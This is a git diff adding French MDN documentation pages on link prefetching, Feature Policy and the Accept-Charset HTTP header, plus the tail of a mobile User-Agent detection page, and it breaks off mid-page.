+   <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.</p>
+
+<p>{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}</p>
diff --git a/files/fr/web/http/faq_sur_le_préchargement_des_liens/index.html b/files/fr/web/http/faq_sur_le_préchargement_des_liens/index.html
new file mode 100644
index 0000000000..c401133b7f
--- /dev/null
+++ b/files/fr/web/http/faq_sur_le_préchargement_des_liens/index.html
@@ -0,0 +1,134 @@
+---
+title: FAQ sur le préchargement des liens
+slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens
+tags:
+  - Développement_Web
+  - Gecko
+  - HTML
+  - HTTP
+translation_of: Web/HTTP/Link_prefetching_FAQ
+---
+<h3 id="Qu.E2.80.99est_ce_que_le_pr.C3.A9chargement_de_liens_.3F" name="Qu.E2.80.99est_ce_que_le_pr.C3.A9chargement_de_liens_.3F">Qu’est ce que le préchargement de liens ?</h3>
+
+<p>Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou<em> précharger</em> les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.</p>
+
+<h3 id="Le_préchargement_fonctionne-t-il_avec_HTTPS">Le préchargement fonctionne-t-il avec HTTPS ?</h3>
+
+<p>À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.</p>
+
+<h3 id="Quelles_sont_les_cibles_.C3.A0__pr.C3.A9charger_.3F" name="Quelles_sont_les_cibles_.C3.A0__pr.C3.A9charger_.3F">Quelles sont les cibles à précharger ?</h3>
+
+<p>Le navigateur cherche soit une balise HTML <code>link</code>, soit un en-tête HTTP <code>Link:</code> avec un type de relation <code>next</code> ou <code>prefetch</code>. Ci-dessous, un exemple d’utilisation de la balise <code>link</code> :</p>
+
+<pre class="eval">&lt;link rel="prefetch" href="/images/big.jpeg"&gt;
+</pre>
+
+<p>La même cible à précharger, cette fois avec un en-tête HTTP <code>Link:</code> :</p>
+
+<pre class="eval">Link: &lt;/images/big.jpeg&gt;; rel=prefetch
+</pre>
+
+<p>L’en-tête <code>Link:</code> peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML <code>meta</code> :</p>
+
+<pre class="eval">&lt;meta http-equiv="Link" content="&amp;lt;/images/big.jpeg&amp;gt;; rel=prefetch"&gt;
+</pre>
+
+<p>Le format pour l’en-tête <code>Link:</code>est décrit dans le <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a> section 19.6.2.4.</p>
+
+<div class="note">Note : Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente <a class="external" href="http://tools.ietf.org/html/rfc2616" title="http://tools.ietf.org/html/rfc2616">RFC 2616</a> ne décrit pas l’en-tête <code>Link:</code>. Bien que les en-têtes <code>Link:</code> ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.</div>
+
+<p>Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.</p>
+
+<p>Quelques exemples en plus, ci-dessous :</p>
+
+<pre class="eval">&lt;link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"&gt;
+&lt;link rel="next" href="2.html"&gt;
+</pre>
+
+<h3 id="Les_balises_ancres_.28.3Ca.3E.29_sont-elles_pr.C3.A9charg.C3.A9es_.3F" name="Les_balises_ancres_.28.3Ca.3E.29_sont-elles_pr.C3.A9charg.C3.A9es_.3F">Les balises ancres (&lt;a&gt;) sont-elles préchargées ?</h3>
+
+<p>Non, seulement les balises <code>&lt;link&gt;</code> avec une relation de type <code>next</code> ou <code>prefetch</code> sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises &lt;a&gt;, lesquelles devront inclure un type de relation <code>next</code> ou <code>prefetch</code>. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.</p>
+
+<h3 id="Le_pr.C3.A9chargement_de_liens_est-il_respectueux_des_standards_.3F" name="Le_pr.C3.A9chargement_de_liens_est-il_respectueux_des_standards_.3F">Le préchargement de liens est-il respectueux des standards ?</h3>
+
+<p>Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (<a class="external" href="http://www.la-grange.net/w3c/html4.01/types.html#h-6.12">Section 6.12: types de liens (fr)</a>). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.</p>
+
+<h3 id="Comment_le_temps_disponible_du_navigateur_est-il_d.C3.A9termin.C3.A9_.3F" name="Comment_le_temps_disponible_du_navigateur_est-il_d.C3.A9termin.C3.A9_.3F">Comment le temps disponible du navigateur est-il déterminé ?</h3>
+
+<p>Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API <code>nsIWebProgressListener</code>. On attache un écouteur à l’objet de haut-niveau <code>nsIWebProgress</code> ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire <code>onLoad</code> se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.</p>
+
+<h3 id="Que_se_passe-t-il_si_je_clique_sur_un_lien_pendant_un_pr.C3.A9chargement_.3F" name="Que_se_passe-t-il_si_je_clique_sur_un_lien_pendant_un_pr.C3.A9chargement_.3F">Que se passe-t-il si je clique sur un lien pendant un préchargement ?</h3>
+
+<p>Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type <code>Accept-Ranges: bytes</code>. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.</p>
+
+<h3 id="Si_je_t.C3.A9l.C3.A9charge_quelque-chose_en_t.C3.A2che_de_fond_.3F_Le_pr.C3.A9chargement_de_liens_viendra-t-il_en_concurrence_pour_la_bande_passante_.3F" name="Si_je_t.C3.A9l.C3.A9charge_quelque-chose_en_t.C3.A2che_de_fond_.3F_Le_pr.C3.A9chargement_de_liens_viendra-t-il_en_concurrence_pour_la_bande_passante_.3F">Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?</h3>
+
+<p>Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.</p>
+
+<h3 id="Existe-t-il_des_restrictions_sur_ce_qui_peut_.C3.AAtre_pr.C3.A9charg.C3.A9_.3F" name="Existe-t-il_des_restrictions_sur_ce_qui_peut_.C3.AAtre_pr.C3.A9charg.C3.A9_.3F">Existe-t-il des restrictions sur ce qui peut être préchargé ?</h3>
+
+<p>Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise &lt;link rel="next"&gt; avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type <code>rel=prefetch</code>, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.</p>
+
+<h3 id="Mozilla_peut-il_pr.C3.A9charger_un_document_d.E2.80.99un_h.C3.B4te_diff.C3.A9rent_.3F" name="Mozilla_peut-il_pr.C3.A9charger_un_document_d.E2.80.99un_h.C3.B4te_diff.C3.A9rent_.3F">Mozilla peut-il précharger un document d’un hôte différent ?</h3>
+
+<p>Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.</p>
+
+<h3 id="Les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es_contiennent-elles_un_en-t.C3.AAte_Referer:_.3F" name="Les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es_contiennent-elles_un_en-t.C3.AAte_Referer:_.3F">Les requêtes préchargées contiennent-elles un en-tête <code>Referer:</code> ?</h3>
+
+<p>Oui, les requêtes préchargées incluent une entête HTTP <code>Referer:</code> qui indique le document duquel la cible de préchargement a été extraite.</p>
+
+<p>Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un <code>href</code> vers le document préchargé en spécifiant un en-tête de réponse HTTP <code>Cache-control: must-revalidate</code>. Cet en-tête permet la mise en cache mais requiert une requête de validation <code>If-Modified-Since</code> ou <code>If-None-Match</code> pour que le document soit servi à partir du cache du navigateur.</p>
+
+<h3 id="En_tant_qu.27administrateur_serveur.2C_puis-je_distinguer_les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es.2C_des_requ.C3.AAtes_normales_.3F" name="En_tant_qu.27administrateur_serveur.2C_puis-je_distinguer_les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es.2C_des_requ.C3.AAtes_normales_.3F">En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?</h3>
+
+<p>Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :</p>
+
+<pre class="eval"> X-moz: prefetch
+</pre>
+
+<p>Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.</p>
+
+<h3 id="Existe-t-il_une_pr.C3.A9f.C3.A9rence_pour_d.C3.A9sactiver_le_pr.C3.A9chargement_de_liens_.3F" name="Existe-t-il_une_pr.C3.A9f.C3.A9rence_pour_d.C3.A9sactiver_le_pr.C3.A9chargement_de_liens_.3F">Existe-t-il une préférence pour désactiver le préchargement de liens ?</h3>
+
+<p>Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via <code>about:config</code>) :</p>
+
+<pre class="eval"> user_pref("network.prefetch-next", false);
+</pre>
+
+<p>Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.</p>
+
+<h3 id="Et_pour_les_gens_qui_payent_.C3.A0_la_bande_passante_utilis.C3.A9e_.3F" name="Et_pour_les_gens_qui_payent_.C3.A0_la_bande_passante_utilis.C3.A9e_.3F">Et pour les gens qui payent à la bande passante utilisée ?</h3>
+
+<p>En fait, il y a deux façons d'aborder ce problème :</p>
+
+<ol>
+ <li>Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.</li>
+ <li>Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.</li>
+</ol>
+
+<p>Il est important que les sites web adoptent la balise <code>&lt;link&gt;</code> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <code>&lt;link&gt;</code> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <code>&lt;link&gt;</code> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.</p>
+
+<h3 id="Quels_navigateurs_supportent_le_pr.C3.A9chargement_de_liens_.3F" name="Quels_navigateurs_supportent_le_pr.C3.A9chargement_de_liens_.3F">Quels navigateurs supportent le préchargement de liens ?</h3>
+
+<p>Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. <a class="external" href="http://gemal.dk/browserspy/prefetch.php">Testez</a> votre navigateur pour vérifier s'il supporte le préchargement de liens.</p>
+
+<h3 id="D.27autres_questions_.3F" name="D.27autres_questions_.3F">D'autres questions ?</h3>
+
+<p>Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)</p>
+
+<h4 id="Voir_.C3.A9galement" name="Voir_.C3.A9galement">Voir également</h4>
+
+<ul>
+ <li><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints (en)</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Informations_sur_le_document_original" name="Informations_sur_le_document_original">Informations sur le document original</h3>
+
+<ul>
+ <li>Auteur(s) : Darin Fisher <a class="link-mailto" href="mailto:(darin@meer.net)" rel="freelink">(darin@meer.net)</a></li>
+ <li>Date de dernière mise à jour : 3 mars 2003</li>
+</ul>
+</div>
+
+<p>{{ languages( { "en": "en/Link_prefetching_FAQ", "it": "it/Link_prefetching_FAQ", "ja": "ja/Link_prefetching_FAQ" } ) }}</p>
diff --git a/files/fr/web/http/feature_policy/index.html b/files/fr/web/http/feature_policy/index.html
new file mode 100644
index 0000000000..7629bf0d21
--- /dev/null
+++ b/files/fr/web/http/feature_policy/index.html
@@ -0,0 +1,173 @@
+---
+title: Feature Policy
+slug: Web/HTTP/Feature_Policy
+tags:
+  - Feature Policy
+  - Feature-Policy
+  - HTTP
+  - Introduction
+  - Overview
+  - Reference
+  - Security
+  - Sécurité
+  - access
+  - accès
+  - delegation
+  - header
+  - permission
+translation_of: Web/HTTP/Feature_Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité.</span></p>
+
+<div class="note">
+<p>L'en-tête <code>Feature-Policy</code> a maintenant été renommé <code>Permissions-Policy</code> dans la spécification, et cet article va possiblement être modifié en conséquence.</p>
+</div>
+
+<h2 id="En_résumé">En résumé</h2>
+
+<p>Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement.</p>
+
+<p>Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités.</p>
+
+<p>Par exemple, voici des choses que vous pourrez faire avec Feature Policy :</p>
+
+<ul>
+ <li>Changer le comportement par défaut de la lecture automatique sur mobile ou pour les vidéos de source externe,</li>
+ <li>Vous interdire d'utiliser les API sensitives comme l'appareil photographique ou le microphone.</li>
+ <li>Permettre aux iframes d'utiliser l'<a href="/en-US/docs/Web/API/Fullscreen_API">API plein écran</a>.</li>
+ <li>Empêcher l'utilisateur d'API obsolètes comme les <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XHR synchrones</a> ou {{domxref("document.write()")}}.</li>
+ <li>Vous assurer que les images sont dimensionnées correctement et ne sont pas trop grosses pour le cadre de la fenêtre.</li>
+</ul>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité.</p>
+
+<p>Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou <em>allowlist</em>) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité.</p>
+
+<h3 id="Écrire_une_règle">Écrire une règle</h3>
+
+<p>Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité.</p>
+
+<h3 id="Appliquer_votre_règle">Appliquer votre règle</h3>
+
+<p>Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités :</p>
+
+<ul>
+ <li>L'en-tête HTTP {{httpheader("Feature-Policy")}}.</li>
+ <li>L'attribut {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} sur les iframes.</li>
+</ul>
+
+<p>La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page.</p>
+
+<p>Pour plus de détails, voir <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a>.</p>
+
+<h3 id="Déterminer_la_règle">Déterminer la règle</h3>
+
+<p>Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.</p>
+
+<h2 id="Types_de_fonctionnalités_contrôlables">Types de fonctionnalités contrôlables</h2>
+
+<p>Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs.</p>
+
+<p>Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple :</p>
+
+<ul>
+ <li>Retourner "permission denied" pour les API JavaScript qui requièrent une élévation de privilèges de la part de l'utilisateur,</li>
+ <li>Retourner <code>false</code> ou jeter une erreur depuis une API JavaScript qui permet d'accéder à une fonctionnalité,</li>
+ <li>Modifier les valeurs par défaut ou les options qui contrôlent le comportement de la fonctionnalité.</li>
+</ul>
+
+<p>L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories :</p>
+
+<ul>
+ <li>Imposer des bonnes pratiques pour une bonne expérience d'utilisation,</li>
+ <li>Fournir un contrôle granulaire sur les fonctionnalités sensitives ou puissantes.</li>
+</ul>
+
+<h3 id="Bonnes_pratiques_pour_une_bonne_expérience_dutilisation">Bonnes pratiques pour une bonne expérience d'utilisation</h3>
+
+<p>Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable.</p>
+
+<p>Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines.</p>
+
+<p>La liste de ces fonctionnalités est :</p>
+
+<ul>
+ <li>Animations de rafraichissement de l'affichage,</li>
+ <li>Formats d'image du passé,</li>
+ <li>Images surdimensionnées,</li>
+ <li>Scripts synchrones,</li>
+ <li>Requêtes XMLHTTPRequest sychrones,</li>
+ <li>Images non optimisées,</li>
+ <li>Médias non dimensionnés.</li>
+</ul>
+
+<h3 id="Contrôle_granulaire_sur_certaines_fonctionnalités">Contrôle granulaire sur certaines fonctionnalités</h3>
+
+<p>Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible.</p>
+
+<p>Les fonctionnalités incluent (voir la <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives">liste des Features</a>) :</p>
+
+<ul>
+ <li>Accéléromètre</li>
+ <li>Capteur de luminosité ambiante</li>
+ <li>Lecture automatique</li>
+ <li>Appareil photographique</li>
+ <li>Médias chiffrés</li>
+ <li>Plein écran</li>
+ <li>Géolocalisation</li>
+ <li>Gyroscope</li>
+ <li>Magnétomètre</li>
+ <li>Microphone</li>
+ <li>MIDI</li>
+ <li>PaymentRequest</li>
+ <li>Picture-in-picture</li>
+ <li>USB</li>
+ <li>Web Share API</li>
+ <li>VR / XR</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li>
+ <li>Voir <a href="http://feature-policy-demos.appspot.com/">Démonstrations de Feature Policy</a> pour un exemple d'utilisation de plusieurs règles.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.Feature-Policy")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li>
+ <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li>
+ <li>{{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes</li>
+ <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction à Feature Policy</a></li>
+ <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies sur www.chromestatus.com</a></li>
+ <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (extension Chrome Developer Tools)</a></li>
+ <li><a href="/en-US/docs/Web/Privacy">Anonymat, permissions et informations sur la sécurité</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/accept-charset/index.html b/files/fr/web/http/headers/accept-charset/index.html
new file mode 100644
index 0000000000..61ea07025b
--- /dev/null
+++ b/files/fr/web/http/headers/accept-charset/index.html
@@ -0,0 +1,83 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Headers/Accept-Charset
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="tlid-translation translation"><span title="">L'en-tête HTTP de la requête</span></span><strong><code>Accept-Charset</code></strong> <span class="tlid-translation translation"><span title="">indique le jeu de caractères que le client est capable de comprendre</span></span>. <span class="tlid-translation translation"><span title="">À l'aide de la </span></span> <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>, <span class="tlid-translation translation"><span title="">le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}.</span> <span title="">Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile.</span></span></p>
+
+<p><span class="tlid-translation translation"><span title="">Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable).</span> <span title="">Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête</span></span> <code>Accept-Charset</code> <span class="tlid-translation translation"><span title="">dans ce cas.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation"><span title="">Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini.</span> <span title="">Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut.</span></span></p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Accept-Charset: &lt;charset&gt;
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="Les_directives"><span class="tlid-translation translation"><span title="">Les directives</span></span></h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">Un jeu de caractères comme utf-8 ou iso-8859-15.</span></span></dd>
+ <dt><code>*</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">Tout jeu de caractères non mentionné ailleurs dans l'en-tête;</span> <span title="">'*' utilisé comme un joker.</span></span></dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dt><span class="tlid-translation translation"><span title="">Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée</span></span>  <em>weight</em>.</dt>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col"><span class="tlid-translation translation"><span title="">Titre</span></span></th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur"><span class="tlid-translation translation"><span title="">Compatibilité du navigateur</span></span></h2>
+
+<p class="hidden"><span class="tlid-translation translation"><span title="">Le tableau de compatibilité de cette page est généré à partir de données structurées.</span> <span title="">Si vous souhaitez contribuer aux données, veuillez consulter</span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">et envoyez-nous une demande</span></span>..</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<h2 id="Voir_également"><span class="tlid-translation translation"><span title="">Voir également</span></span></h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li>
+ <li>Header <span class="tlid-translation translation"><span title="">avec le résultat de la négociation de contenu</span></span> : {{HTTPHeader("Content-Type")}}</li>
